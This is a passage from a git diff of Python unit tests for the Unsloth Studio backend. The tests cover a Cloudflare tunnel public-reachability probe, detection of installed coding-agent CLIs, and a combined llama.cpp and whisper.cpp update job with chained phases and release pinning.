+    assert chat_eos_repair([248046, 248044], [248046]) is None
+
+
+def test_repair_noop_when_no_turn_end_ids():
+    assert chat_eos_repair(248044, []) is None
diff --git a/studio/backend/tests/test_cloudflare_tunnel.py b/studio/backend/tests/test_cloudflare_tunnel.py
index 7904c70a7b..2094d15066 100644
--- a/studio/backend/tests/test_cloudflare_tunnel.py
+++ b/studio/backend/tests/test_cloudflare_tunnel.py
@@ -403,11 +403,234 @@ def test_reader_ignores_api_endpoint_failure_line():
     assert t.error == "cloudflared exited before emitting a tunnel URL"
 
 
+# ── public reachability probe ────────────────────────────────────────
+
+
+class _FakeResponse:
+    def __init__(self, body):
+        self._body = body
+
+    def read(self, size = -1):
+        return self._body
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *exc):
+        return False
+
+
+def _patch_urlopen(monkeypatch, handler):
+    import urllib.request
+    monkeypatch.setattr(urllib.request, "urlopen", lambda req, timeout = None: handler(req))
+
+
+@pytest.fixture(autouse = True)
+def _stub_dns_wait(monkeypatch, request):
+    if request.node.name.startswith("test_verify_public_url"):
+        monkeypatch.setattr(ct, "_wait_for_dns", lambda *a, **kw: None)
+
+
+def test_wait_for_dns_polls_until_answer(monkeypatch):
+    calls = []
+
+    def handler(req):
+        calls.append(req.full_url)
+        if len(calls) < 3:
+            return _FakeResponse(b'{"Status":3}')
+        return _FakeResponse(b'{"Status":0,"Answer":[{"data":"104.16.0.1"}]}')
+
+    _patch_urlopen(monkeypatch, handler)
+    monkeypatch.setattr(ct.time, "sleep", lambda _s: None)
+    ct._wait_for_dns("words.trycloudflare.com", ct.time.monotonic() + 5)
+    assert len(calls) == 3
+    assert "name=words.trycloudflare.com" in calls[0]
+
+
+def test_wait_for_dns_gives_up_at_deadline(monkeypatch):
+    _patch_urlopen(monkeypatch, lambda req: _FakeResponse(b'{"Status":3}'))
+    monkeypatch.setattr(ct.time, "sleep", lambda _s: None)
+    ct._wait_for_dns("words.trycloudflare.com", ct.time.monotonic() + 0.05)
+
+
+def test_wait_for_dns_retries_transient_doh_error(monkeypatch):
+    calls = []
+
+    def handler(req):
+        calls.append(req.full_url)
+        if len(calls) < 3:
+            raise OSError("transient")
+        return _FakeResponse(b'{"Status":0,"Answer":[{"data":"104.16.0.1"}]}')
+
+    _patch_urlopen(monkeypatch, handler)
+    monkeypatch.setattr(ct.time, "sleep", lambda _s: None)
+    ct._wait_for_dns("words.trycloudflare.com", ct.time.monotonic() + 5)
+    assert len(calls) == 3
+
+
+def test_wait_for_dns_bails_on_persistent_doh_errors(monkeypatch):
+    calls = []
+
+    def handler(req):
+        calls.append(req.full_url)
+        raise OSError("blocked")
+
+    _patch_urlopen(monkeypatch, handler)
+    monkeypatch.setattr(ct.time, "sleep", lambda _s: None)
+    ct._wait_for_dns("words.trycloudflare.com", ct.time.monotonic() + 5)
+    assert len(calls) == ct._DNS_MAX_DOH_ERRORS
+
+
+def test_verify_public_url_accepts_studio_marker(monkeypatch):
+    seen = {}
+
+    def handler(req):
+        seen["url"] = req.full_url
+        return _FakeResponse(b'{"status":"healthy","service":"Unsloth UI Backend"}')
+
+    _patch_urlopen(monkeypatch, handler)
+    assert ct.verify_public_url("https://words.trycloudflare.com") is True
+    assert seen["url"] == "https://words.trycloudflare.com/api/health"
+
+
+def test_verify_public_url_waits_for_dns_first(monkeypatch):
+    order = []
+    monkeypatch.setattr(ct, "_wait_for_dns", lambda host, deadline: order.append(("dns", host)))
+
+    def handler(req):
+        order.append(("probe", req.full_url))
+        return _FakeResponse(b'{"service":"Unsloth UI Backend"}')
+
+    _patch_urlopen(monkeypatch, handler)
+    assert ct.verify_public_url("https://words.trycloudflare.com") is True
+    assert order[0] == ("dns", "words.trycloudflare.com")
+    assert order[1][0] == "probe"
+
+
+def test_verify_public_url_dns_wait_and_probe_share_deadline(monkeypatch):
+    # An exhausted DNS wait leaves the probe a single attempt, not a fresh window.
+    calls = []
+    monkeypatch.setattr(ct, "_wait_for_dns", lambda host, deadline: None)
+
+    def handler(req):
+        calls.append(req.full_url)
+        raise OSError("unreachable")
+
+    _patch_urlopen(monkeypatch, handler)
+    assert ct.verify_public_url("https://words.trycloudflare.com", timeout = 0) is False
+    assert len(calls) == 1
+
+
+def test_verify_public_url_retries_then_succeeds(monkeypatch):
+    calls = []
+
+    def handler(req):
+        calls.append(req.full_url)
+        if len(calls) < 3:
+            raise OSError("Name or service not known")
+        return _FakeResponse(b'{"service":"Unsloth UI Backend"}')
+
+    _patch_urlopen(monkeypatch, handler)
+    monkeypatch.setattr(ct.time, "sleep", lambda _s: None)
+    assert ct.verify_public_url("https://words.trycloudflare.com") is True
+    assert len(calls) == 3
+
+
+def test_verify_public_url_rejects_unreachable_host(monkeypatch):
+    def handler(req):
+        raise OSError("Name or service not known")
+
+    _patch_urlopen(monkeypatch, handler)
+    monkeypatch.setattr(ct.time, "sleep", lambda _s: None)
+    assert ct.verify_public_url("https://words.trycloudflare.com", timeout = 0.05) is False
+
+
+def test_verify_public_url_rejects_foreign_responder(monkeypatch):
+    # e.g. a Cloudflare error page: no service marker in the body.
+    _patch_urlopen(monkeypatch, lambda req: _FakeResponse(b"<html>error 1033</html>"))
+    monkeypatch.setattr(ct.time, "sleep", lambda _s: None)
+    assert ct.verify_public_url("https://words.trycloudflare.com", timeout = 0.05) is False
+
+
+@pytest.fixture(autouse = True)
+def _stub_public_probe(monkeypatch, request):
+    # start_studio_tunnel tests use fake hostnames; keep them off the network.
+    if not request.node.name.startswith("test_start_studio_tunnel"):
+        return
+    monkeypatch.setattr(ct, "verify_public_url", lambda url, **kw: True)
+
+
 def test_start_studio_tunnel_no_binary(monkeypatch):
     monkeypatch.setattr(ct, "ensure_cloudflared", lambda: None)
     assert ct.start_studio_tunnel(8080) is None
 
 
+def test_start_studio_tunnel_drops_url_that_is_not_publicly_reachable(monkeypatch):
+    attempts = []
+
+    class _Stub:
+        def __init__(
+            self,
+            port,
+            binary,
+            protocol = None,
+        ):
+            self.url = None
+            attempts.append(protocol)
+
+        def start(self):
+            self.url = "https://words.trycloudflare.com"
+
+        def wait_for_ready(self, timeout):
+            return self.url
+
+        def stop(self):
+            pass
+
+    monkeypatch.setattr(ct, "ensure_cloudflared", lambda: "/bin/cloudflared")
+    monkeypatch.setattr(ct, "CloudflareTunnel", _Stub)
+    monkeypatch.setattr(ct, "verify_public_url", lambda url, **kw: False)
+    assert ct.start_studio_tunnel(8080) is None
+    assert attempts == [None]
+    assert ct._active_tunnel is None
+
+
+def test_start_studio_tunnel_returns_url_once_probe_passes(monkeypatch):
+    probed = []
+
+    class _Stub:
+        def __init__(
+            self,
+            port,
+            binary,
+            protocol = None,
+        ):
+            self.url = None
+            self.protocol = protocol
+
+        def start(self):
+            self.url = "https://words.trycloudflare.com"
+
+        def wait_for_ready(self, timeout):
+            return self.url
+
+        def stop(self):
+            pass
+
+    def _probe(url, **kw):
+        probed.append(url)
+        return True
+
+    monkeypatch.setattr(ct, "ensure_cloudflared", lambda: "/bin/cloudflared")
+    monkeypatch.setattr(ct, "CloudflareTunnel", _Stub)
+    monkeypatch.setattr(ct, "verify_public_url", _probe)
+    try:
+        assert ct.start_studio_tunnel(8080) == "https://words.trycloudflare.com"
+        assert probed == ["https://words.trycloudflare.com"]
+    finally:
+        ct.stop_studio_tunnel()
+
+
 def test_start_studio_tunnel_registers_before_wait(monkeypatch):
     # The tunnel must be visible to stop_studio_tunnel() during the readiness
     # wait, else a shutdown in that window orphans cloudflared.
@@ -691,13 +914,14 @@ def _argparse_default(source, option):
     return None
 
 
-def test_run_server_cloudflare_default_true():
+def test_run_server_cloudflare_default_off():
     defaults = _func_param_defaults(_RUN_PY.read_text(), "run_server")
-    assert defaults.get("cloudflare") is True
+    assert "cloudflare" in defaults
+    assert defaults["cloudflare"] is None
 
 
-def test_argparse_cloudflare_default_true():
-    assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is True
+def test_argparse_cloudflare_default_off():
+    assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is None
 
 
 def test_verify_global_reachability_marks_private_address_unreachable():
@@ -832,6 +1056,31 @@ def test_cloudflare_line_states_disabled_when_off(monkeypatch):
     assert "local network only" in out
 
 
+def test_cloudflare_line_labels_unset_as_default(monkeypatch):
+    # None = off by default (no flag) -> banner says "(default)", not "(--no-cloudflare)".
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = False,
+        cloudflare_flag = None,
+    )
+    assert "Cloudflare tunnel: OFF (default)" in out
+    assert "--no-cloudflare" not in out
+
+
+def test_cloudflare_line_labels_explicit_no_cloudflare(monkeypatch):
+    # False = explicit --no-cloudflare -> banner says "(--no-cloudflare)".
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF (--no-cloudflare)" in out
+
+
 def test_cloudflare_line_states_failed_when_requested_but_no_url(monkeypatch):
     out = _run_print_cloudflare_line(
         monkeypatch,
diff --git a/studio/backend/tests/test_coding_agents.py b/studio/backend/tests/test_coding_agents.py
new file mode 100644
index 0000000000..b19da1dded
--- /dev/null
+++ b/studio/backend/tests/test_coding_agents.py
@@ -0,0 +1,50 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for coding-agent CLI detection used by the API-keys settings panel."""
+
+from unittest.mock import patch
+
+from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents
+
+
+def test_matches_unsloth_start_subcommands():
+    # Each entry must be an actual `unsloth start <agent>` subcommand name
+    # (unsloth_cli/commands/start.py). Spelled out here rather than imported
+    # from that module, which pulls in the CLI's heavier dependencies.
+    assert CODING_AGENTS == ("claude", "codex", "openclaw", "opencode", "hermes", "pi")
+
+
+def test_detects_only_agents_present_on_path():
+    installed = {"claude", "opencode"}
+    with patch(
+        "utils.coding_agents.shutil.which",
+        side_effect = lambda name: f"/usr/bin/{name}" if name in installed else None,
+    ):
+        assert detect_installed_coding_agents() == ["claude", "opencode"]
+
+
+def test_returns_empty_list_when_nothing_is_installed():
+    with patch("utils.coding_agents.shutil.which", return_value = None):
+        assert detect_installed_coding_agents() == []
+
+
+def test_preserves_declared_order_regardless_of_path_lookup_order():
+    with patch(
+        "utils.coding_agents.shutil.which",
+        side_effect = lambda name: name if name in ("pi", "claude", "hermes") else None,
+    ):
+        assert detect_installed_coding_agents() == ["claude", "hermes", "pi"]
+
+
+def test_treats_a_path_lookup_error_as_not_installed():
+    # An advisory check: shutil.which raising for one entry (e.g. a permission
+    # error walking a PATH directory) should not take down the whole endpoint,
+    # and should not stop the remaining agents from being checked.
+    def flaky_which(name: str):
+        if name == "codex":
+            raise OSError("permission denied")
+        return name if name == "claude" else None
+
+    with patch("utils.coding_agents.shutil.which", side_effect = flaky_which):
+        assert detect_installed_coding_agents() == ["claude"]
diff --git a/studio/backend/tests/test_combined_update.py b/studio/backend/tests/test_combined_update.py
new file mode 100644
index 0000000000..b96d3d030c
--- /dev/null
+++ b/studio/backend/tests/test_combined_update.py
@@ -0,0 +1,735 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Hermetic tests for the combined llama+whisper update item.
+
+llama.cpp is the single main update item; whisper.cpp piggybacks on it. These
+pin the union status (update_available = llama behind OR whisper behind), the
+chained apply (llama phase first, whisper phase only when behind), the failure
+policy (llama failure aborts; whisper failure keeps the llama partial success),
+the silent whisper skips, and the backward-compatible payload shape.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+import time
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import utils.llama_cpp_freshness as freshness  # noqa: E402
+import utils.llama_cpp_update as upd  # noqa: E402
+import utils.whisper_cpp_freshness as wfresh  # noqa: E402
+import utils.whisper_cpp_update as wupd  # noqa: E402
+
+MARKER = "UNSLOTH_PREBUILT_INFO.json"
+WHISPER_MARKER = "UNSLOTH_WHISPER_PREBUILT_INFO.json"
+
+# The top-level status and job fields that predate the whisper piggyback; the
+# combined payload must stay an exact superset so current UI code keeps working.
+LEGACY_STATUS_FIELDS = {
+    "supported",
+    "update_available",
+    "stale",
+    "installed_tag",
+    "latest_tag",
+    "published_repo",
+    "installed_at_utc",
+    "age_days",
+    "source_build",
+    "update_size_bytes",
+    "job",
+}
+LEGACY_JOB_FIELDS = {
+    "state",
+    "message",
+    "from_tag",
+    "to_tag",
+    "reload_required",
+    "error",
+    "progress",
+    "started_at",
+    "finished_at",
+}
+
+
+class _FakeInstallerPopen:
+    """Stands in for the streamed llama installer process."""
+
+    def __init__(
+        self,
+        cmd,
+        *,
+        returncode = 0,
+        lines = None,
+        on_start = None,
+        **kwargs,
+    ):
+        if on_start is not None:
+            on_start(list(cmd))
+        self.returncode = returncode
+        self.stdout = iter(lines or [])
+
+    def wait(self):
+        return self.returncode
+
+    def kill(self):
+        pass
+
+
+def _patch_llama_installer(
+    monkeypatch,
+    *,
+    returncode = 0,
+    lines = None,
+    on_start = None,
+):
+    # Only intercept the installer invocation: importing routes.inference inside
+    # the worker can Popen unrelated host probes (ldconfig etc).
+    def _popen(cmd, **kw):
+        is_installer = any("install_llama_prebuilt" in str(part) for part in cmd)
+        return _FakeInstallerPopen(
+            cmd,
+            returncode = returncode if is_installer else 0,
+            lines = lines if is_installer else None,
+            on_start = on_start if is_installer else None,
+        )
+
+    monkeypatch.setattr(upd.subprocess, "Popen", _popen)
+
+
+def _write_llama_install(dir_: Path, tag: str) -> str:
+    """Create a fake llama prebuilt install and return the llama-server path."""
+    bin_dir = dir_ / "build" / "bin"
+    bin_dir.mkdir(parents = True, exist_ok = True)
+    binary = bin_dir / "llama-server"
+    binary.write_text("stub")
+    (dir_ / MARKER).write_text(
+        json.dumps(
+            {
+                "tag": tag,
+                "release_tag": tag,
+                "published_repo": "unslothai/llama.cpp",
+                "installed_at_utc": "2020-01-01T00:00:00Z",
+            }
+        )
+    )
+    return str(binary)
+
+
+def _write_whisper_install(
+    dir_: Path,
+    tag: str,
+    backend: str = "cpu",
+) -> str:
+    """Create a fake whisper prebuilt install and return the whisper-server path."""
+    bin_dir = dir_ / "build" / "bin"
+    bin_dir.mkdir(parents = True, exist_ok = True)
+    binary = bin_dir / "whisper-server"
+    binary.write_text("stub")
+    (dir_ / WHISPER_MARKER).write_text(
+        json.dumps(
+            {
+                "release_tag": tag,
+                "upstream_tag": tag.split("-")[0],
+                "published_repo": "unslothai/whisper.cpp",
+                "backend": backend,
+                "installed_at_utc": "2020-01-01T00:00:00Z",
+            }
+        )
+    )
+    return str(binary)
+
+
+@pytest.fixture(autouse = True)
+def _clean_state(monkeypatch, tmp_path):
+    freshness.reset_caches()
+    wfresh.reset_caches()
+    upd._reset_job_for_tests()
+    upd._resolve_memo.clear()
+    wupd._resolve_memo.clear()
+    monkeypatch.setattr(freshness, "_cache_dir", lambda: tmp_path / ".llama_cache")
+    monkeypatch.setattr(wfresh, "_cache_dir", lambda: tmp_path / ".whisper_cache")
+    for var in (
+        "LLAMA_SERVER_PATH",
+        "UNSLOTH_LLAMA_CPP_PATH",
+        "WHISPER_SERVER_PATH",
+        "UNSLOTH_WHISPER_CPP_PATH",
+    ):
+        monkeypatch.delenv(var, raising = False)
+    # Never hit the network in these tests.
+    monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: None)
+    monkeypatch.setattr(wfresh, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: None)
+    yield
+    freshness.reset_caches()
+    wfresh.reset_caches()
+    upd._reset_job_for_tests()
+    upd._resolve_memo.clear()
+    wupd._resolve_memo.clear()
+
+
+def _setup_llama(
+    monkeypatch,
+    tmp_path,
+    *,
+    installed = "b9493",
+    latest = "b9518",
+):
+    """Marker-managed llama install; behind when installed != latest."""
+    install_dir = tmp_path / "llama.cpp"
+    binary = _write_llama_install(install_dir, installed)
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py")
+    monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: latest)
+    return install_dir
+
+
+def _setup_whisper(
+    monkeypatch,
+    tmp_path,
+    *,
+    installed = "v1.9.1-unsloth.1",
+    latest = "v1.9.2-unsloth.1",
+):
+    """Marker-managed whisper install; behind when latest is newer."""
+    install_dir = tmp_path / "whisper.cpp"
+    binary = _write_whisper_install(install_dir, installed)
+    monkeypatch.setattr(wupd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(wupd, "_installer_script", lambda: tmp_path / "install_whisper_prebuilt.py")
+    monkeypatch.setattr(wfresh, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: latest)
+    return install_dir
+
+
+def _patch_whisper_phase(
+    monkeypatch,
+    events,
+    *,
+    to_tag = "v1.9.2-unsloth.1",
+    error = None,
+):
+    """Record whisper phase runs without touching a real installer."""
+
+    def _run(phase, set_progress):
+        events.append("whisper")
+        if error is not None:
+            raise RuntimeError(error)
+        set_progress(0.5)
+        return {
+            "to_tag": to_tag,
+            "reload_required": False,
+            "message": f"Updated whisper.cpp to {to_tag}.",
+        }
+
+    monkeypatch.setattr(wupd, "run_chained_phase", _run)
+
+
+def _wait_for_job():
+    deadline = time.time() + 10
+    while time.time() < deadline:
+        with upd._job_lock:
+            job = dict(upd._job)
+        if job["state"] in ("success", "error"):
+            return job
+        time.sleep(0.05)
+    with upd._job_lock:
+        return dict(upd._job)
+
+
+# --- status: the single item folds whisper in ---
+
+
+def test_status_payload_is_exact_superset_of_legacy_fields(monkeypatch, tmp_path):
+    _setup_llama(monkeypatch, tmp_path)
+    _setup_whisper(monkeypatch, tmp_path)
+    st = upd.get_update_status(force_refresh = True)
+    assert LEGACY_STATUS_FIELDS <= set(st)
+    assert LEGACY_JOB_FIELDS <= set(st["job"])
+    # The new fields ride alongside, never replacing the legacy ones.
+    assert st["llama_update_available"] is True
+    assert st["whisper"]["update_available"] is True
+    assert st["whisper"]["latest_tag"] == "v1.9.2-unsloth.1"
+    assert st["update_component"] == "llama"
+
+
+def test_status_union_whisper_only_surfaces_update(monkeypatch, tmp_path):
+    # llama current, whisper behind: the single item still shows an update.
+    _setup_llama(monkeypatch, tmp_path, installed = "b9518", latest = "b9518")
+    _setup_whisper(monkeypatch, tmp_path)
+    st = upd.get_update_status(force_refresh = True)
+    assert st["llama_update_available"] is False
+    assert st["whisper"]["update_available"] is True
+    assert st["update_available"] is True
+    assert st["update_component"] == "whisper"
+    assert st["installed_tag"] == "b9518"
+    assert st["latest_tag"] == "b9518"
+    assert st["whisper"]["installed_tag"] == "v1.9.1-unsloth.1"
+    assert st["whisper"]["latest_tag"] == "v1.9.2-unsloth.1"
+
+
+def test_status_whisper_current_does_not_flip_union(monkeypatch, tmp_path):
+    _setup_llama(monkeypatch, tmp_path, installed = "b9518", latest = "b9518")
+    _setup_whisper(monkeypatch, tmp_path, installed = "v1.9.2-unsloth.1", latest = "v1.9.2-unsloth.1")
+    st = upd.get_update_status(force_refresh = True)
+    assert st["update_available"] is False
+    assert st["whisper"]["skip_reason"] == "up_to_date"
+    assert st["update_component"] is None
+
+
+def test_status_survives_whisper_probe_failure(monkeypatch, tmp_path):
+    # The piggyback fails open: llama status still works without a whisper probe.
+    _setup_llama(monkeypatch, tmp_path)
+
+    def _boom(*, force_refresh = False):
+        raise RuntimeError("probe exploded")
+
+    monkeypatch.setattr(wupd, "chained_phase_plan", _boom)
+    st = upd.get_update_status(force_refresh = True)
+    assert st["update_available"] is True
+    assert st["whisper"] is None
+
+
+# --- whisper chained_phase_plan: silent skips ---
+
+
+def test_whisper_plan_skips_local_link(monkeypatch, tmp_path):
+    monkeypatch.setattr(wupd, "_find_binary", lambda: str(tmp_path / "whisper-server"))
+    monkeypatch.setattr(wupd, "_active_install_is_local_link", lambda b: True)
+    plan = wupd.chained_phase_plan()
+    assert plan["update_available"] is False
+    assert plan["skip_reason"] == "local_link"
+    assert plan["phase"] is None
+
+
+def test_whisper_plan_skips_source_build(monkeypatch, tmp_path):
+    binary = tmp_path / "whisper.cpp" / "build" / "bin" / "whisper-server"
+    binary.parent.mkdir(parents = True)
+    binary.write_text("stub")  # no marker
+    monkeypatch.setattr(wupd, "_find_binary", lambda: str(binary))
+    plan = wupd.chained_phase_plan()
+    assert plan["skip_reason"] == "source_build"
+    assert plan["phase"] is None
+
+
+def test_whisper_update_targets_canonical_root_when_inner_marker_exists(tmp_path):
+    install_dir = tmp_path / "whisper.cpp"
+    binary = install_dir / "build" / "bin" / "whisper-server"
+    binary.parent.mkdir(parents = True)
+    binary.write_text("stub")
+    (install_dir / WHISPER_MARKER).write_text("{}")
+    (binary.parent / WHISPER_MARKER).write_text("{}")
+    assert wupd._install_dir_for(str(binary)) == install_dir
+
+
+def test_whisper_plan_skips_when_not_installed(monkeypatch):
+    monkeypatch.setattr(wupd, "_find_binary", lambda: None)
+    plan = wupd.chained_phase_plan()
+    assert plan["skip_reason"] == "not_installed"
+    assert plan["phase"] is None
+
+
+def test_whisper_plan_eligible_when_behind(monkeypatch, tmp_path):
+    install_dir = _setup_whisper(monkeypatch, tmp_path)
+    script = tmp_path / "install_whisper_prebuilt.py"
+    script.write_text("stub")
+    plan = wupd.chained_phase_plan(force_refresh = True)
+    assert plan["update_available"] is True
+    assert plan["skip_reason"] is None
+    assert plan["phase"]["install_dir"] == install_dir
+    assert plan["phase"]["repo"] == "unslothai/whisper.cpp"
+    assert plan["phase"]["backend"] == "cpu"
+    # Pin to the exact release the freshness check offered: unpinned, the
+    # installer's download-host /releases/latest pointer can lag published_at
+    # and reinstall an older build in a loop.
+    assert plan["phase"]["pin_release_tag"] == "v1.9.2-unsloth.1"
+
+
+def test_whisper_plan_requires_a_repairable_pair_for_slim_installs(monkeypatch, tmp_path):
+    install_dir = _setup_whisper(monkeypatch, tmp_path)
+    marker_path = install_dir / WHISPER_MARKER
+    marker = json.loads(marker_path.read_text())
+    marker["install_kind"] = "slim"
+    marker_path.write_text(json.dumps(marker))
+    wfresh.reset_caches()
+    monkeypatch.setattr(
+        wupd,
+        "_resolve_prebuilt_for_host",
+        lambda **kwargs: {"prebuilt_available": False},
+    )
+
+    plan = wupd.chained_phase_plan(force_refresh = True)
+    assert plan["update_available"] is False
+    assert plan["skip_reason"] == "paired_llama_unavailable"
+
+    repaired = wupd.chained_phase_plan(
+        force_refresh = True,
+        paired_llama_will_update = True,
+    )
+    assert repaired["update_available"] is True
+    assert repaired["phase"] is not None
+
+
+def test_whisper_phase_pins_installer_to_checked_release(monkeypatch, tmp_path):
+    calls = []
+    monkeypatch.setattr(
+        wupd._flow,
+        "stream_installer",
+        lambda cmd, env, **kw: calls.append(cmd),
+    )
+    monkeypatch.setattr(wupd, "reset_caches", lambda **kw: None)
+    monkeypatch.setattr(wupd, "latest_published_release", lambda repo, **kw: "v9")
+    install_dir = tmp_path / "whisper.cpp"
+    binary = _write_whisper_install(install_dir, "v9")
+    monkeypatch.setattr(wupd, "_find_binary", lambda: binary)
+    wupd.run_chained_phase(
+        {
+            "install_dir": install_dir,
+            "repo": "unslothai/whisper.cpp",
+            "asset": None,
+            "backend": "cpu",
+            "script": tmp_path / "install_whisper_prebuilt.py",
+            "pin_release_tag": "v9",
+        },
+        lambda f: None,
+    )
+    cmd = calls[0]
+    assert "--published-release-tag" in cmd
+    assert cmd[cmd.index("--published-release-tag") + 1] == "v9"
+
+
+def test_whisper_phase_exit_2_is_a_failed_phase(monkeypatch, tmp_path):
+    # No install occurred, so incompatibility must remain an actionable job
+    # error instead of producing a false success toast and hiding the banner.
+    def _raise_exit_2(cmd, env, **kw):
+        raise wupd._flow.InstallerExit(2, "installer exited 2: incompatible release")
+
+    monkeypatch.setattr(wupd._flow, "stream_installer", _raise_exit_2)
+    install_dir = tmp_path / "whisper.cpp"
+    binary = _write_whisper_install(install_dir, "v1")
+    monkeypatch.setattr(wupd, "_find_binary", lambda: binary)
+    with pytest.raises(wupd._flow.InstallerExit) as exc_info:
+        wupd.run_chained_phase(
+            {
+                "install_dir": install_dir,
+                "repo": "unslothai/whisper.cpp",
+                "asset": None,
+                "backend": "cpu",
+                "script": tmp_path / "install_whisper_prebuilt.py",
+                "pin_release_tag": None,
+            },
+            lambda f: None,
+        )
+    assert exc_info.value.returncode == 2
+
+
+def test_llama_update_survives_unavailable_whisper_module(monkeypatch, tmp_path):
+    import builtins
+
+    llama_dir = _setup_llama(monkeypatch, tmp_path)
+    monkeypatch.setattr(upd, "_whisper_chain_status", lambda **kw: None)
+    _patch_llama_installer(
+        monkeypatch,
+        on_start = lambda cmd: _write_llama_install(llama_dir, "b9518"),
+    )
+    real_import = builtins.__import__
+
+    def guarded_import(
+        name,
+        globals = None,
+        locals = None,
+        fromlist = (),
+        level = 0,
+    ):
+        if name == "utils" and "whisper_cpp_update" in fromlist:
+            raise AssertionError("whisper module was re-imported after its failed probe")
+        return real_import(name, globals, locals, fromlist, level)
+
+    monkeypatch.setattr(builtins, "__import__", guarded_import)
+
+    # A failed optional whisper probe must not be followed by an unconditional
+    # import. The valid llama phase still starts and completes.
+    assert upd.start_update()["started"] is True
+    job = _wait_for_job()
+    assert job["state"] == "success", job
+    assert job["phases"]["llama"]["state"] == "success"
+    assert job["phases"]["whisper"]["state"] == "skipped"
+    assert job["phases"]["whisper"]["reason"] == "unavailable"
+
+
+def test_macos_status_uses_compatible_resolver_release(monkeypatch, tmp_path):
+    _setup_whisper(
+        monkeypatch,
+        tmp_path,
+        installed = "v1.9.1-unsloth.1",
+        latest = "v1.9.2-unsloth.1",
+    )
+    monkeypatch.setattr(wupd.sys, "platform", "darwin")
+    monkeypatch.setattr(
+        wupd,
+        "_resolve_prebuilt_for_host",
+        lambda **kw: {
+            "prebuilt_available": True,
+            "release_tag": "v1.9.1-unsloth.1",
+        },
+    )
+
+    status = wupd.get_update_status(force_refresh = True)
+    assert status["latest_tag"] == "v1.9.1-unsloth.1"
+    assert status["update_available"] is False
+    assert status["stale"] is False
+
+
+def test_whisper_phase_integrity_failure_is_not_swallowed(monkeypatch, tmp_path):
+    def _raise_exit_1(cmd, env, **kw):
+        raise wupd._flow.InstallerExit(1, "installer exited 1: checksum mismatch")
+
+    monkeypatch.setattr(wupd._flow, "stream_installer", _raise_exit_1)
+    install_dir = tmp_path / "whisper.cpp"
+    binary = _write_whisper_install(install_dir, "v1")
+    monkeypatch.setattr(wupd, "_find_binary", lambda: binary)
+    with pytest.raises(wupd._flow.InstallerExit, match = "checksum mismatch"):
+        wupd.run_chained_phase(
+            {
+                "install_dir": install_dir,
+                "repo": "unslothai/whisper.cpp",
+                "asset": None,
+                "backend": "cpu",
+                "script": tmp_path / "install_whisper_prebuilt.py",
+                "pin_release_tag": None,
+            },
+            lambda f: None,
+        )
+
+
+# --- apply: the chained job ---
+
+
+def test_apply_runs_llama_then_whisper(monkeypatch, tmp_path):
+    llama_dir = _setup_llama(monkeypatch, tmp_path)
+    _setup_whisper(monkeypatch, tmp_path)
+    (tmp_path / "install_whisper_prebuilt.py").write_text("stub")
+
+    events = []
+    _patch_llama_installer(
+        monkeypatch,
+        on_start = lambda cmd: (events.append("llama"), _write_llama_install(llama_dir, "b9518")),
+    )
+    _patch_whisper_phase(monkeypatch, events)
+
+    res = upd.start_update()
+    assert res["started"] is True, res
+    job = _wait_for_job()
+    assert job["state"] == "success", job
+    assert events == ["llama", "whisper"]  # llama phase strictly first
+    assert job["phases"]["llama"]["state"] == "success"
+    assert job["phases"]["llama"]["to_tag"] == "b9518"
+    assert job["phases"]["whisper"]["state"] == "success"
+    assert job["phases"]["whisper"]["to_tag"] == "v1.9.2-unsloth.1"
+    # Legacy top-level fields keep their llama meaning.
+    assert job["from_tag"] == "b9493"
+    assert job["to_tag"] == "b9518"
+    assert "Updated llama.cpp to b9518." in job["message"]
+    assert "Updated whisper.cpp to v1.9.2-unsloth.1." in job["message"]
+    assert job["progress"] == 1.0
+    assert LEGACY_JOB_FIELDS <= set(job)
+
+
+def test_apply_llama_only_when_whisper_current(monkeypatch, tmp_path):
+    llama_dir = _setup_llama(monkeypatch, tmp_path)
+    _setup_whisper(monkeypatch, tmp_path, installed = "v1.9.2-unsloth.1", latest = "v1.9.2-unsloth.1")
+
+    events = []
+    _patch_llama_installer(
+        monkeypatch,
+        on_start = lambda cmd: (events.append("llama"), _write_llama_install(llama_dir, "b9518")),
+    )
+    _patch_whisper_phase(monkeypatch, events)
+
+    assert upd.start_update()["started"] is True
+    job = _wait_for_job()
+    assert job["state"] == "success", job
+    assert events == ["llama"]
+    assert job["phases"]["whisper"]["state"] == "skipped"
+    assert job["phases"]["whisper"]["reason"] == "up_to_date"
+
+
+def test_apply_whisper_only_noops_llama(monkeypatch, tmp_path):
+    # llama current + whisper behind: the same single apply runs, with the llama
+    # phase a cheap already-matches no-op and the whisper phase doing the work.
+    _setup_llama(monkeypatch, tmp_path, installed = "b9518", latest = "b9518")
+    _setup_whisper(monkeypatch, tmp_path)
+    (tmp_path / "install_whisper_prebuilt.py").write_text("stub")
+
+    events = []
+    _patch_llama_installer(monkeypatch, on_start = lambda cmd: events.append("llama"))
+    _patch_whisper_phase(monkeypatch, events)
+
+    res = upd.start_update()
+    assert res["started"] is True, res
+    job = _wait_for_job()
+    assert job["state"] == "success", job
+    assert events == ["whisper"]  # the llama installer never ran
